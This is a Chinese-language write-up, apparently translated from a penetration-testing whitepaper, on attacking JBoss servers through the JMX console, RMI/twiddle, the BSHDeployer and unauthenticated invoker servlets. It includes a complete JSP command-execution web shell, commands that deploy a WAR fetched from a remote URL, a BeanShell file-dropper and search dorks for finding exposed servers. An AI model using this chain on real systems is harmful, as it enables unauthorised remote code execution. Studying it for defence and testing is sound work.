JBoss安全問題總結
0x00 簡介
JBoss應用伺服器(JBoss AS)是一個被廣泛使用的開源Java應用伺服器。
它是JBoss企業中介軟體(JEMS)的一部分,並且經常在大型企業中使用。
因為這個軟體是高度模組化和松耦合的,導致了它很很複雜,同時也使它易成為攻擊者的目標。
本文從攻擊者的角度來看,指出JBoss應用伺服器存在的潛在風險,並結合例子如何實現如何在JBoss應用伺服器上執行任意程式碼。
0x01 JBoss概述
JBoss應用伺服器基於Java企業版1.4,並可以在應用在非常多作業系統中,包括Linux,FreeBSD和Windows中,只要作業系統中安裝了Java虛擬機器。
JBoss應用服務架構
Java管理擴充套件(JMX)
Java管理擴充套件(JMX)是一個監控管理Java應用程式的標準化架構,JMX分為三層:
JMX架構
裝置層(Instrumentation Level):主要定義了資訊模型。在JMX中,各種管理物件以管理構件的形式存在,需要管理時,向MBean伺服器進行註冊。該層還定義了通知機制以及一些輔助後設資料類。
代理層(Agent Level):主要定義了各種服務以及通訊模型。該層的核心是一個MBean伺服器,所有的管理構件都需要向它註冊,才能被管理。註冊在MBean伺服器上管理構件並不直接和遠端應用程式進行通訊,它們透過協議介面卡和聯結器進行通訊。而協議介面卡和聯結器也以管理構件的形式向MBean伺服器註冊才能提供相應的服務。
分佈服務層(Distributed Service Level):主要定義了能對代理層進行操作的管理介面和構件,這樣管理者就可以操作代理。然而,當前的JMX規範並沒有給出這一層的具體規範。
JMX Invoker
Invokers允許客戶端應用程式傳送任意協議的JMX請求到服務端。
這些呼叫都用過MBean伺服器傳送到響應的MBean服務。
傳輸機制都是透明的,並且可以使用任意的協議如:HTTP,SOAP2或JRMP3。
Deployer架構
攻擊者對JBoss應用伺服器中的Deployers模組特別感興趣。
他們被用來部署不同的組成部分。
本文當中重點要將的安裝元件:
JAR(Java ARchives):JAR 檔案格式以流行的 ZIP 檔案格式為基礎。與 ZIP 檔案不同的是,JAR 檔案不僅用於壓縮和釋出,而且還用於部署和封裝庫、元件和外掛程式,並可被像編譯器和 JVM 這樣的工具直接使用。在 JAR 中包含特殊的檔案,如 manifests 和部署描述符,用來指示工具如何處理特定的 JAR。
WAR(Web ARchives):WAR檔案是JAR檔案包含一個Web應用程式的元件,與Java ServerPages(JSP),Java類,靜態web頁面等類似。
BSH(BeanSHell scripts):BeanShell是Java指令碼語言,BeanShell指令碼使用Java語法,執行在JRE上。
最重要的JBoss應用伺服器deployer是MainDeployer。它是部署元件的主要入口點。
傳遞給MainDeployer的部署元件的路徑是一個URL形式:
org.jboss.deployment.MainDeployer.deploy(String urlspec)
MainDeployer會下載物件,並決定使用什麼樣的SubDeployer轉發。
根據元件的型別,SubDeployer(例如:JarDeployer,SarDeployer等)接受物件進行安裝。
為了方便部署,可以使用UrlDeploymentScanner,它同樣獲取一個URL作為引數:
org.jboss.deployment.scanner.URLDeploymentScanner.addURL(String urlspec)
傳入的URL會被定期的檢查是否有新的安裝或更改。
這就是JBoss應用伺服器如何實現熱部署的,有新的或者更改的元件會被自動的部署。
0x02 攻擊
WAR檔案
最簡單的在JBoss應用伺服器上執行自己的程式碼是部署一個元件,JBoss可以透過HTTP安裝元件。
WAR檔案包需要在WEB-INF目錄下含一個web.xml檔案,在實際的應用程式程式碼目錄之外。
這是一個描述檔案,描述了在什麼URL將在之後的應用程式中發現。
WAR檔案可以用Java的SDK jar命令建立:
$ jar cvf redteam.war WEB-INF redteam.jsp
redteam.war的結構目錄:
|-- META-INF
| -- MANIFEST.MF
|-- WEB-INF
| -- web.xml
-- redteam.jsp
META-INF/MANIFEST.MF是用jar建立檔案時自動建立的,包含JAR的資訊,例如:應用程式的主入口點(需要呼叫的類)或者需要什麼額外的類。這裡生成的檔案中沒有什麼特別的資訊,僅包含一些基本資訊:
Manifest-Version: 1.0
Created-By: 1.6.0_10 (Sun Microsystems Inc.)
WEB-INF/web.xml檔案必須手動建立,它包含有關Web應用程式的資訊,例如JSP檔案,或者更詳細的應用描述資訊,如果發生錯誤,使用什麼圖示顯示或者錯誤頁面的名稱等
<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>RedTeam Shell</servlet-name>
<jsp-file>/redteam.jsp</jsp-file>
</servlet>
</web-app>
redteam的內容:
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
} }
%>
HTTP請求:
/redteam.jsp?cmd=ls
將會列出當前目錄所有檔案,命令執行後的結果會透過如下程式碼返回來:
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
JMX Console
JMX控制檯允許透過web瀏覽器與JBoss應用伺服器直接互動的元件。
它可以方便的管理JBoss伺服器,MBean的屬性與方法可以直接呼叫,只要引數中沒有複雜的引數型別。
JMX控制檯預設介面
這個通常是攻擊者第一個目標。
Server- 和ServerInfo-MBean
MBeans的屬性
jboss.system:type=Server
jboss.system:type=ServerInfo
展現了JBoss應用伺服器與主機系統的資訊,包含Java虛擬機器以及作業系統的型別版本資訊。
MBean的屬性
JMX控制檯對MBeans可讀可操作,不僅包含JBoss應用伺服器本身的資訊,同時包含主機資訊,這些有助於進一步攻擊。
MBean的shutdown()方法可以關閉JBoss應用伺服器,未授權的JMX介面可以導致拒絕服務攻擊。
redteam.war安裝
MainDeployer的方法屬性可以在JMX控制檯中的jboss.system中呼叫。
deploy()方法可以由一個URL中一個引數呼叫,URL指向WAR檔案,需要是伺服器能夠訪問到的地址。
當invoke按鈕被點選時,JBoss應用伺服器會下載WAR檔案並安裝它,之後,就可以執行shell命令了
deploy()方法
JBoss應用程式執行ls -l命令
RMI: 遠端方法呼叫
通常JMX控制檯保護方法是加一個密碼保護。
然而這不是訪問JBoss應用伺服器元件的唯一方式,JBoss應用伺服器經常與客戶端程式介面相互呼叫,Java遠端方法呼叫(RMI)也發揮重要作用。
使用RMI,本地應用程式可以訪問遠端物件,並可以呼叫它們的方法。客戶端與伺服器之間的通訊是透明的。
JNDI(Java Naming and Directory Interface)是一個應用程式設計的API,為開發人員提供了查詢和訪問各種命名和目錄服務的通用、統一的介面,類似JDBC都是構建在抽象層上。
JNDI可訪問的現有的目錄及服務有:
DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol輕型目錄訪問協議)、 CORBA物件服務、檔案系統、Windows XP/2000/NT/Me/9x的登錄檔、RMI、DSML v1&v2、NIS。
透過RMI訪問MBean
RMI介面預設凱奇在埠4444上,JNDI介面預設開啟在1098和1099上。
與JBoss應用伺服器RMI通訊,可以使用專門的Java程式。更簡單的方式是使用twiddle,包括JBoss應用伺服器的安裝。
$ sh jboss-4.2.3.GA/bin/twiddle.sh -h
A JMX client to ’twiddle’ with a remote JBoss server.
usage: twiddle.sh [options] <command> [command_arguments]
options:
-h, --help Show this help message
--help-commands Show a list of commands
-H=<command> Show command specific help
-c=command.properties Specify the command.properties file to use
-D<name>[=<value>] Set a system property
-- Stop procession options
-s, --server=<url> The JNDI URL of the remote server
-a, --adapter=<name> The JNDI name of the RMI adapter to user
-u, --user=<name> Specify the username for authentication
-p, --password=<name> Specify the password for authentication
-q, --quiet Be somewhat more quiet
有了twiddle,就用可用命令列透過RMI呼叫JBoss應用伺服器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh來啟動twiddle。類似於JMX控制檯,MBEAN的屬性可讀可改,並且可以呼叫其方法。
顯示MBean伺服器的資訊
$ ./twiddle.sh -s scribus get jboss.system:type=ServerInfo
ActiveThreadCount=50
AvailableProcessors=1
OSArch=amd64
MaxMemory=518979584
HostAddress=127.0.1.1
JavaVersion=1.6.0_06
OSVersion=2.6.24-19-server
JavaVendor=Sun Microsystems Inc.
TotalMemory=129957888
ActiveThreadGroupCount=7
OSName=Linux
FreeMemory=72958384
HostName=scribus
JavaVMVersion=10.0-b22
JavaVMVendor=Sun Microsystems Inc.
JavaVMName=Java HotSpot(TM) 64-Bit Server VM
安裝redteam.war
根據twiddle的幫助利用deploy()方法安裝war檔案。
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war
透過下面的URL訪問shell:
http://scribus:8080/redteam/redteam-shell.jsp
BSHDeployer
利用RMI攻擊需要JBoss應用伺服器能夠訪問遠端HTTP伺服器。
然而在很多配置中,防火牆不允許JBoss伺服器對外發出連線請求:
為了能夠在JBoss伺服器上安裝redteam.war,這個檔案需要放在本地。
雖然JBoss不允許直接直接上傳檔案,但是有BeanShellDeployer,我們可以在遠端伺服器上建立任意檔案。
BeanShell
BeanShell是一種執行在JRE上的指令碼語言,該語言支援常規的Java語法。可以很快寫完,並且不需要編譯。
BSHDeployer
JBoss伺服器中BSHDeployer可以部署BeanShell指令碼,它會安裝後自動執行。
利用BSHDeployer安裝的方法是:
createScriptDeployment(String bshScript, String scriptName)
BeanShell指令碼
可以用下面的BeanShell指令碼實現把redteam.war放到JBoss伺服器上。
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
// Base64 encoded redteam.war
String val = "UEsDBBQACA[...]AAAAA";
BASE64Decoder decoder = new BASE64Decoder();
byte[] byteval = decoder.decodeBuffer(val);
FileOutputStream fs = new FileOutputStream("/tmp/redteam.war");
fs.write(byteval);
fs.close();
變數val中是redteam.war檔案的base64編碼後的字串,指令碼在tmp目錄下生成redteam.war檔案,Windows中可以填寫C:WINDOWSTEMP。
安裝redteam.war檔案
利用twiddle,可以使用DSHDeployer的createScriptDeployement()方法:
$ ./twiddle.sh -s scribus invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat redteam.bsh‘" redteam.bsh
tedteam.bsh包含上面的BeanShell指令碼,呼叫成功後JBoss伺服器返回BeanShell建立的臨時檔案地址:
file:/tmp/redteam.bsh55918.bsh
當BeanShell指令碼執行部署後,會建立/tmp/redteam.war檔案,現在就可以透過呼叫本地檔案來部署了:
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy file:/tmp/redteam.war
之後就可以訪問redteam-shell.jsp來執行命令了。
Web Console Invoker
透過JMX控制檯與RMI來控制JBoss伺服器是最常用的方法。
除了這些還有更隱蔽的介面,其中之一就是Web控制檯中使用JMXInvoker。
Web控制檯
Web控制檯與JMX控制檯類似,也可以透過瀏覽器訪問。
Web控制檯的預設介面:
如果JMX控制檯有密碼保護的話,是不可以透過Web控制檯訪問MBean的函式的,需要登陸後才能訪問。
Web控制檯JMX Invoker
Web控制檯除了可以看到組建的梳妝介面與JBoss伺服器資訊外,還可監視MBean屬性的實時變化。
訪問URL:
http://$hostname/web-console/Invoker
這個Invoker其實就是JMX Invoker,而不侷限於Web控制檯提供的功能。
預設情況下,訪問是不受限制的,所以攻擊者可以用它來傳送任意的JMX命令到JBoss伺服器。
安裝redteam.war
用Web控制檯的Invoker安裝redteam.war檔案。
webconsole_invoker.rb可以直接呼叫Web控制的JMX Invoker,使用的Java類是:org.jboss.console.remote.Util
Util.class檔案屬於JBoss伺服器的JAR檔案:console-mgr-classes.jar,它提供的方法:
public static Object invoke(
java.net.URL externalURL,
RemoteMBeanInvocation mi)
public static Object getAttribute(
java.net.URL externalURL,
RemoteMBeanAttributeInvocation mi)
透過Web控制檯Invoker可以讀取MBean的屬性與invoke方法。
這個類可以透過webconsole_invoker.rb指令碼使用,使用方法如下:
$ ./webconsole_invoker.rb -h
Usage: ./webconsole_invoker.rb [options] MBean
-u, --url URL The Invoker URL to use (default:http://localhost:8080/web-console/Invoker)
-a, --get-attr ATTR Read an attribute of an MBean
-i, --invoke METHOD invoke an MBean method
-p, --invoke-params PARAMS MBean method params
-s, --invoke-sigs SIGS MBean method signature
-t, --test Test the script with the ServerInfo MBean
-h, --help Show this help
Example usage:
./webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo
./webconsole_invoker.rb -i listThreadDump jboss.system:type=ServerInfo
./webconsole_invoker.rb -i listMemoryPools -p true -s boolean jboss.system:type=ServerInfo
透過如下命令利用BSHDeployer來安裝redteam.war檔案。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i createScriptDeployment -s "java.lang.String","java.lang.String" -p "`cat redteam.bsh`",redteam.bsh jboss.deployer:service=BSHDeployer
在遠端伺服器上建立一個本地的redteam.war檔案,現在第二部就可以利用MainDeployer安裝/tmp/redteam.war檔案了。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i deploy -s "java.lang.String" -p "file:/tmp/redteam.war" jboss.system:service=MainDeployer
redteam-shell.jsp又可以訪問了。
JMXInvokerServlet
之前提到過JBoss伺服器允許任何協議訪問MBean伺服器,對於HTTP,JBoss提供HttpAdaptor。
預設安裝中,HttpAdaptor是沒有啟用的,但是HttpAdaptor的JMX Invoker可以透過URL直接訪問。
http://$hostname/invoker/JMXInvokerServlet
這個介面接受HTTP POST請求後,轉發到MBean,因此與Web控制檯Invoker類似,JMXInvokerServlet也可以傳送任意的JMX呼叫到JBoss伺服器。
建立MarshalledInvocation物件
JMXInvokerServlet的呼叫與Web控制檯Invoker不相容,所以不能使用webconsole_invoker.rb指令碼呼叫。
MarshalledInvocation物件通常只在內部JBoss伺服器上做交流。
httpinvoker.rb指令碼與webconsole_invoker.rb指令碼類似,但是需要JBoss伺服器啟用HttpAdaptor
$ ./httpinvoker.rb -h
Usage: ./httpinvoker.rb [options] MBean
-j, --jndi URL The JNDI URL to use (default:http://localhost:8080/invoker/JNDIFactory)
-p, --adaptor URL The Adaptor URL to use (default:jmx/invoker/HttpAdaptor)
-a, --get-attr ATTR Read an attribute of an MBean
-i, --invoke METHOD invoke an MBe an method
--invoke-params PARAMS MBean method params
-s, --invoke-sigs SIGS MBean method signature
-t, --test Test the script with the ServerInfo MBean
-h, --help Show this help
安裝tedteam.war
與webconsole_invoker.rb安裝類似。
尋找JBoss伺服器的方法:
inurl:"jmx-console/HtmlAdaptor"
intitle:"Welcome to JBoss"
From: Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN
相關文章
- PHP弱型別安全問題總結2021-09-09PHP型別
- 問題總結2024-06-14
- 安全問題彙總2020-09-09
- Swoole 問題總結2020-05-26
- Elasticsearch 問題總結2020-06-29Elasticsearch
- Kibana 問題總結2020-06-24
- Kerberos問題總結2020-12-08ROS
- 跨域問題總結2018-11-11跨域
- springboot使用問題總結2018-12-13Spring Boot
- Fiddler 使用問題總結2024-03-15
- 面試問題總結2020-11-02面試
- electron初探問題總結2019-06-10
- JBOSS未授權訪問2020-10-09
- 揹包問題例題總結2018-03-31
- 驗證碼安全問題彙總2020-08-19
- 前端跨域問題總結2019-02-14前端跨域
- ryu啟動問題總結2018-06-26
- flutter安裝問題總結2018-03-11Flutter
- vue專案問題總結2019-09-18Vue
- expdpnf 匯出問題總結2019-07-17
- mysql相關問題總結2020-09-06MySql
- Vue 常見問題總結2020-09-11Vue
- TCP常見問題總結2020-10-12TCP
- RabbitMq面試問題總結2021-08-12MQ面試
- PHP面試問題總結2021-07-26PHP面試
- REDIS面試問題總結2021-07-16Redis面試
- mysql常見問題總結2021-04-17MySql
- Kubernetes 常見問題總結2021-04-07
- Flink 常見問題總結2020-11-27
- 【Java問題面試總結】2020-12-19Java面試
- 揹包問題解題方法總結2020-07-20
- 工控安全的神總結,說出了多少人心裡的問題?2019-04-17
- 回溯問題Python框架總結——排列組合問題2020-11-26Python框架
- Android 日常開發問題總結2019-04-01Android
- XCode 10 升級問題總結2018-09-30XCode
- javascript的物件問題及總結2018-05-28JavaScript物件
- 開發中常見問題總結2018-05-17
- vue2.0 + iview問題總結2018-07-27VueView